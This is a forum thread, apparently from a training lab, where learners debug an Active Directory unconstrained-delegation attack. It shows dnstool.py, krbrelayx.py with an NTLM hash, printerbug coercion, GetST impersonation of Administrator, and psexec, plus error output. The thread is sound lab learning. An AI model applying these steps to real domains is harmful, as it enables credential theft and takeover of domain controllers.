I had some hard time to reproduce the attack from the PwnBox. I gave it a try from my Kali lab machine and I did not encounter any issue. I could not force the DC to authenticate against my machine when performing the attack from PwnBox … not sure why.
Hi guys,
I would really appreciate some help with this section. Whenever I get to the part where I’m running dementor.py, or printerbug.py- I get an error on krbrelayx.py saying
“Unsupported MechType ‘NTLMSSP - Microsoft NTLM Security Support Provider’”
And essentially I’m not getting a TGT.
I tried every possible solution I could find online and I still cant figure it out.
I tried restarting the machine a few times, and also tried the lab both from the pwnbox and from my own kali lab.
-made sure that the hosts file has a record for inlanefreight.local and dc01.inlanefreight.local
-when creating the DNS record I used NSLOOKUP to make sure that it resolves to my IP
-when creating the fake SPN, I made sure that it exists by using addspn.py to query callum.dixon
-tried running krbrelayx.py with callum.dixon’s user/pass or hashes
-re-installed impacket
here are the commands I use:
python dnstool.py -u INLANEFREIGHT.LOCAL\carole.rose -p jasmine -r roguecomputer.INLANEFREIGHT.LOCAL -d --action add <DC_IP>
──╼ [★]$ sudo python krbrelayx.py -hashes :3E7C48255206470A13543B27B7AF18DE --target dc01.inlanefreight.local
[] Protocol Client HTTPS loaded…
[] Protocol Client HTTP loaded…
[] Protocol Client LDAPS loaded…
[] Protocol Client LDAP loaded…
[] Protocol Client SMB loaded…
[] Running in attack mode to single host
[] Running in unconstrained delegation abuse mode using the specified credentials.
[] Setting up SMB Server
[] Setting up HTTP Server on port 80
[] Setting up DNS Server
[*] Servers started, waiting for connections
Exception in thread Thread-2:
Traceback (most recent call last):
File “/usr/lib/python3.11/threading.py”, line 1038, in _bootstrap_inner
self.run()
File “/usr/local/lib/python3.11/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py”, line 560, in run
self.server = self.HTTPServer((self.config.interfaceIp, self.config.listeningPort), self.HTTPHandler, self.config)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File “/usr/local/lib/python3.11/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py”, line 47, in init
socketserver.TCPServer.init(self,server_address, RequestHandlerClass)
File “/usr/lib/python3.11/socketserver.py”, line 456, in init
self.server_bind()
File “/usr/lib/python3.11/socketserver.py”, line 472, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
I uninstall impacket and krbrelayx.py but i cant solved it.
I followed the instructions in the module.
I used GetST with beth.richards credentials to craft a ticket, impersonating a local administrator, and exported that to the KR5CCNAME env variable:
And I get that same exact, socket error, you got. I to added the DC’s IP in /etc/hosts, and when I run dig or nslookup, it can’t find. I can ping it though. I tried this on my local kali VM and in pwnbox and I get the same result.
This is my entry in /etc/hosts
<ip> inlanefreight.local dc01.inlanefreight.local
I’ve tried different flags with psexec too, like -target-ip, -dc-ip, specifying “[email protected]”. At this point, I’m not sure of the exact issue.
ok, so I fixed a few things. I noticed when I run the getst impacket module, the ticket is saved in “Administrator@[email protected]”, not “Administrator.ccache” like in the example. So I changed the env variable accordingly:
That seems to have fixed the connection issue. Now, I get a different error - preauth failed:
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[+] StringBinding ncacn_np:dc01.inlanefreight.local[\pipe\svcctl]
[+] Using Kerberos Cache: ./Administrator@[email protected]
[+] SPN CIFS/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] SPN KRBTGT/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] No valid credentials found in cache
[+] Trying to connect to KDC at INLANEFREIGHT.LOCAL:88
[+] Trying to connect to KDC at INLANEFREIGHT.LOCAL:88
[+] Server time (UTC): 2025-02-20 12:44:28
<SNIP>
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
I’ll try resetting the machine and going through the steps again
For anyone else who may come upon this thread, definitely follow the hints listed above to get around the issues you find when following the instructions, specifically adding additional flags. This includes the very last step, namely having to add -dc-ip.
The problem isn’t you, the instructions just don’t lead to success.